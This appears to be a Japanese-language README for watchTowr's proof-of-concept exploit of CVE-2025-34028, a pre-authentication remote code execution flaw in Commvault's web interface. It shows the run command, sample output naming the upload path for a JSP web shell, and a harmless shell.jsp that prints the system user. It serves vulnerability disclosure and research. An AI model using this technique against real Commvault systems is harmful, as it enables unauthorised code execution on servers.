
CVE-2025-34028の概念実証エクスプロイト。悪意のあるJSPアップロードを介したCommvault Webインターフェース上の認証前リモートコード実行を示します。
Commvault の事前認証リモートコード実行の概念実証
技術的詳細については、当社のブログ記事をご覧ください。
python watchtowr-vs-commvault-rce-CVE-2025-34028.py --url https://192.168.1.1
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchtowr-vs-commvault-rce-CVE-2025-34028.py
(*) Commvault Unauthenticated Remote Code Execution (CVE-2025-34028) POC by watchTowr
- Sonny , watchTowr ([email protected])
CVEs: [CVE-2025-34028]
[*] Targeting https://192.168.1.1
[*] Verifying presence of Commvault
[*] Uploading to /reports/MetricsUpload/2GfMIJdK/
[*] Fetching System User from https://192.168.1.1/reports/MetricsUpload/2GfMIJdK/.tmp/dist-cc/dist-cc/shell.jsp
[*] System User EC2XXX-XXXXXXX$
このスクリプトは、Commvault Webインターフェース向けのCVE-2025-34028の概念実証です。コード実行が可能な.jspファイルを含むzipファイルをアップロードすることで、zipファイルは公開ディレクトリにアップロードされ、応答内にシステムユーザーが詳細に表示されます。詳細は、当社の[ブログ記事] (https://labs.watchtowr.com/)に記載されています。
PoCスクリプトは、以下のファイルを含むハードコードされたzipファイルを使用します:
Shell.jspの内容:
<%@ page import="java.util.*" %>
<html>
<body>
<h3>System Information</h3>
<p>Current User: <%= System.getProperty("user.name") %></p>
</body>
</html>
詳細は Commvault Advisory をご覧ください。
最新のセキュリティ研究については、watchTowr Labs チームをフォローしてください。